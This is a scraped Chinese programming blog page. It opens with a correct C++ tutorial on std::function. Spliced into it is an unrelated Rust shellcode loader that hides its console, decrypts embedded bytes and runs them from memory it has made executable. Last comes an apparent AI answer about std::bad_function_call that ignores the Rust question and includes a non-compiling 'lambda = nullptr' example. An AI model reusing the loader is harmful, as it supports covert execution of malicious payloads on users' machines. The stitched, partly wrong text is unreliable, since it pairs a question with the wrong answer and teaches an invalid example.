std::function学习日记

std::function学习日记


原文:https://blog.csdn.net/weixin_39554266/article/details/82855294

/*
 * 定义:1、类模板 std::function 是 通用 多态函数 封装器。
 *      2、std::function的实例能存储、复制及调用 任何可调用(Callable)目标——函数、lambda表达式、bind表达式或其他函数对象,
 *      还有指向成员函数指针和指向数据成员指针。
 *      3、它也是对C++中现有的可调用实体的一种类型安全的包裹(相对来说,函数指针的调用不是类型安全的)
 * 操作:function<T>f f是用来存储可调用对象的空function,这些可调用对象的调用形式应该与函数类型T相同(即T使retType(args))
 */
/*
 * 定义:1、类模板 std::function 是 通用 多态函数 封装器。
 *      2、std::function的实例能存储、复制及调用 任何可调用(Callable)目标——函数、lambda表达式、bind表达式或其他函数对象,
 *      还有指向成员函数指针和指向数据成员指针。
 *      3、它也是对C++中现有的可调用实体的一种类型安全的包裹(相对来说,函数指针的调用不是类型安全的)
 * 操作:function<T>f f是用来存储可调用对象的空function,这些可调用对象的调用形式应该与函数类型T相同(即T使retType(args))
 */
#include <iostream>
#include <functional>
using namespace std;

struct Foo
{
    Foo(int num) : num_(num){}
    void print_add(int i) const {std::cout << num_ + i << '\n'; }
    int num_;
};

void print_num(int i)
{
    std::cout << i << '\n';
}

struct PrintNum
{
    void operator()(int i) const
    {
        std::cout << i << '\n';
    }
};

void g_Minus(int i, int j)
{
    std::cout << i - j << endl;
}

template<class T>
T template_Minus(T t1, T t2)
{
    return t1 - t2;
}

struct Minus_operator
{
    void operator()(int i1, int i2)
    {
        std::cout << i1 - i2 << endl;
    }
};

template<typename T>
struct Minus_operator_template
{
    void operator()(int i1, int i2)
    {
        std::cout << i1 - i2 << endl;
    }
};

class Math
{
public:
    static void Minus(int i1, int i2)
    {
        cout << i1 - i2 << endl;
    }
};

class Math_template
{
public:
    template<typename T>
    static void Minus(T i1, T i2)
    {
        cout << i1 - i2 << endl;
    }
};

class Math_normal
{
public:
    void Minus(int i1, int i2)
    {
        cout << i1 - i2 << endl;
    }
};

class Math_template_normal
{
public:
    template<typename T>
    void Minus(T i1, T i2)
    {
        cout << i1 - i2 << endl;
    }
};

int main()
{
    cout << "Hello World!" << endl;

    std::function<void(int)> f_display = print_num;                         //存储自由函数
    f_display(-9);

    std::function<void()> f_display_42 = [](){ print_num(42); };            //存储lambda表达式
    f_display_42();

    std::function<void()> f_display_311337 = std::bind(print_num, 311337);  //存储bind表达式
    f_display_311337();

    std::function<void(const Foo&, int)> f_add_display = &Foo::print_add;   //存储成员函数
    const Foo foo(314159);
    f_add_display(foo, 1);
    f_add_display(314159, 1);   //???生成匿名对象

    std::function<int(Foo const&)> f_num = &Foo::num_;                      //存储成员访问器
    std::cout << "num_ : " << f_num(foo) << '\n';

    using std::placeholders::_1;    //占位符
    std::function<void(int)> f_add_display2 = std::bind(&Foo::print_add, foo, _1);  //存储成员函数和对象
    f_add_display2(2);

    std::function<void(int)> f_add_display3 = std::bind(&Foo::print_add, &foo, _1); //存储成员函数和对象指针
    f_add_display3(3);

    std::function<void(int)> f_display_obj = PrintNum();                    //存储函数对象(仿函数)
    f_display_obj(18);

    //---------------------------------------------------
    std::cout << "/-------------------------------------" << endl;

    std::function<void(int,int)> f_g_Minus = g_Minus;                       //存储普通函数
    f_g_Minus(6, 5);

    std::function<int(int,int)> f_template_Minus = template_Minus<int>;     //存储模板函数
    std::cout << f_template_Minus(9,5) << endl;

    auto lambda = [](int i1, int i2){ cout << i1 + i2 << endl; };           //存储lambda表达式
    function<void(int,int)> f_lambda = lambda;
    f_lambda(19, 1);

    function<void(int,int)> f_Minus_operator = Minus_operator();            //存储函数对象(仿函数)
    f_Minus_operator(6, 8);

    function<void(int,int)> f_Minus_operator_template = Minus_operator_template<int>();     //存储模板函数对象(仿函数)
    f_Minus_operator_template(9, 6);

    function<void(int,int)> f_Math = &Math::Minus;                          //存储类静态成员函数
    f_Math(15, 8);

    function<void(int,int)> f_Math_template = &Math_template::Minus<int>;   //存储类静态成员函数
    f_Math_template(15, 20);

    Math_normal m;
    function<void(int,int)> f_Math_normal_obj = bind(&Math_normal::Minus, &m, placeholders::_1, placeholders::_2);  //存储类成员方法,对象指针
    function<void(int,int)> f_Math_normal = bind(&Math_normal::Minus, m, placeholders::_1, placeholders::_2);  //存储类成员方法,对象
    f_Math_normal_obj(8, 9);
    f_Math_normal(8, 10);

    Math_template_normal m_template;
    function<void(int,int)> f_Math_obj = bind(&Math_template_normal::Minus<int>, &m_template, placeholders::_1, placeholders::_2);
    f_Math_obj(8, 11);

    return 0;
}


extern crate aes; extern crate block_modes; extern crate hex; extern crate winapi; use aes::{Aes128, BlockDecrypt, NewBlockCipher}; use block_modes::{BlockMode, Cbc, block_padding::Pkcs7}; use std::ffi::CString; use std::mem; use std::ptr; use std::ptr::null_mut; use winapi::um::memoryapi::VirtualProtect; use winapi::um::synchapi::Sleep; use winapi::um::winbase::{GetCurrentProcessId, GetWindowThreadProcessId}; use winapi::um::winuser::{GetConsoleWindow, ShowWindowAsync}; fn close_windows(command_show: u32) { unsafe { let console = GetConsoleWindow(); if console != 0 { let mut console_proc_id: u32 = 0; GetWindowThreadProcessId(console, &mut console_proc_id); if GetCurrentProcessId() == console_proc_id { ShowWindowAsync(console, command_show); } } } } fn aes_decrypt_ecb(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> { // 确保 key 长度是 16, 24 或 32 if !(key.len() == 16 || key.len() == 24 || key.len() == 32) { return Err("Invalid key length".to_string()); } let cipher = Aes128::new(key); // AES 128 bit cipher let block_size = cipher.block_size(); let mut decrypted = Vec::with_capacity(data.len()); // Decrypt each block for chunk in data.chunks(block_size) { let mut block_copy = chunk.to_vec(); cipher.decrypt_block(&mut block_copy); // Decrypt block in place decrypted.extend_from_slice(&block_copy); } // Remove PKCS7 padding decrypted = pkcs7_unpadding(decrypted); Ok(decrypted) } // PKCS7 Padding unpadding function fn pkcs7_unpadding(data: Vec<u8>) -> Vec<u8> { let padding_len = *data.last().unwrap() as usize; data[..data.len() - padding_len].to_vec() } unsafe fn execute_shellcode(byte_slice: Vec<u8>) { // Convert byte slice to function pointer and execute let mut function: extern "C" fn() = mem::transmute(&byte_slice[0]); function(); } fn main() { close_windows(0); // Hide console window let encrypted: Vec<u8> = vec![0x25, 0xaa, 0x3b, 0xca, 0xd6, 0x9b]; let key: Vec<u8> = b"XNpokjGpoiuhgVBa".to_vec(); let byte_slice = aes_decrypt_ecb(&encrypted, &key).expect("Decryption failed"); unsafe { let mut old_perms: u32 = 0; let mut byte_ptr = byte_slice.as_ptr() as *mut u8; // VirtualProtect to make memory executable VirtualProtect( byte_ptr as *mut std::ffi::c_void, byte_slice.len(), 0x40, // PAGE_EXECUTE_READWRITE &mut old_perms, ); execute_shellcode(byte_slice); } } 这段rust代码不能直接运行
03-08
<think>我们正在讨论C++中的std::bad_function_call异常。这个异常通常与std::function的使用相关。当调用一个没有目标可调用对象的std::function对象时,就会抛出此异常。以下是关于此异常的详细解释: ### 异常原因 std::bad_function_call异常在以下情况下抛出: 1. **默认构造的std::function**:默认构造的std::function对象不含任何可调用目标,调用时会抛出异常。 ```cpp std::function<void()> f; f(); // 抛出std::bad_function_call ``` 2. **被赋值为nullptr的std::function**:将std::function赋值为nullptr会清除其目标。 ```cpp std::function<void()> f = []{}; f = nullptr; // 清除目标 f(); // 抛出std::bad_function_call ``` 3. **移动操作后的std::function**:移动操作后,源对象处于有效但未定义的状态(通常为空),调用它可能抛出异常。 ```cpp std::function<void()> f1 = []{}; std::function<void()> f2 = std::move(f1); f1(); // f1现在为空,调用抛出异常 ``` ### 异常处理 处理此异常的方法包括: 1. **检查std::function是否为空**:在调用前使用布尔上下文检查。 ```cpp if (f) { f(); // 安全调用 } ``` 2. **使用try-catch块捕获异常**: ```cpp try { f(); } catch (const std::bad_function_call& e) { // 处理异常 } ``` ### 最佳实践 - 避免调用空的std::function,始终在调用前检查。 - 注意std::function的生命周期,确保其目标未被意外清除。 - 使用移动操作时,注意源对象的状态,避免后续错误调用。 ### 示例代码 ```cpp #include <functional> #include <iostream> int main() { std::function<void()> empty_function; try { empty_function(); // 抛出std::bad_function_call } catch (const std::bad_function_call& e) { std::cout << "Caught exception: " << e.what() << std::endl; } return 0; } ``` §§相关问题§§ 1. 如何避免std::bad_function_call异常? 2. std::function与函数指针有何区别? 3. 在C++中,如何安全地传递std::function对象?</think>### C++ `std::bad_function_call` 异常处理与原因分析 #### 异常原因 `std::bad_function_call` 是 C++ 标准库中定义的异常类型,通常在以下场景触发: 1. **调用空的 `std::function` 对象** 当尝试调用未绑定任何可调用实体的 `std::function` 时抛出,例如: ```cpp std::function<void()> empty_func; empty_func(); // 抛出 std::bad_function_call ``` 2. **目标可调用对象被销毁或失效** 若 `std::function` 绑定的目标(如 lambda、函数指针)已被析构: ```cpp auto lambda = []{}; std::function<void()> func = lambda; lambda = nullptr; // 目标失效 func(); // 可能抛出异常 ``` 3. **移动操作后的无效状态** 移动构造/赋值后的 `std::function` 源对象变为空: ```cpp std::function<void()> f1 = []{}; auto f2 = std::move(f1); // f1 变为空 f1(); // 抛出异常 ``` #### 异常处理 1. **调用前显式检查** 使用布尔运算符验证 `std::function` 有效性: ```cpp std::function<void(int)> func; if (func) { // 检查是否可调用 func(42); // 安全调用 } else { // 处理空状态 } ``` 2. **`try-catch` 捕获异常** 直接捕获并处理异常: ```cpp try { std::function<void()> invalid_func; invalid_func(); } catch (const std::bad_function_call& e) { std::cerr << "错误: " << e.what(); // 输出 "bad_function_call" // 恢复逻辑 } ``` 3. **使用 `std::function::target()` 验证** 检查目标对象类型是否匹配: ```cpp void foo() {} std::function<void()> func = foo; if (func.target<void(*)()>() != nullptr) { func(); // 类型匹配则调用 } ``` #### 最佳实践 1. **初始化保证** 始终初始化 `std::function`: ```cpp // 推荐:立即绑定有效对象 std::function<void()> func = []{ /* 默认操作 */ }; ``` 2. **避免悬空引用** 确保目标对象的生命周期覆盖 `std::function` 的使用期: ```cpp auto shared_obj = std::make_shared<MyClass>(); std::function<void()> func = [shared_obj]{ shared_obj->method(); }; ``` 3. **移动后重置** 移动操作后显式标记源对象无效: ```cpp auto new_func = std::move(old_func); old_func = nullptr; // 明确置空 ``` #### 示例代码 ```cpp #include <functional> #include <iostream> int main() { std::function<int(int)> func; // 方案1: 条件检查 if (func) { std::cout << func(10); } else { std::cout << "Function is empty!\n"; } // 方案2: 异常捕获 try { func(20); // 触发异常 } catch (const std::bad_function_call& e) { std::cout << "Caught: " << e.what() << "\n"; // 输出 "bad_function_call" } return 0; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值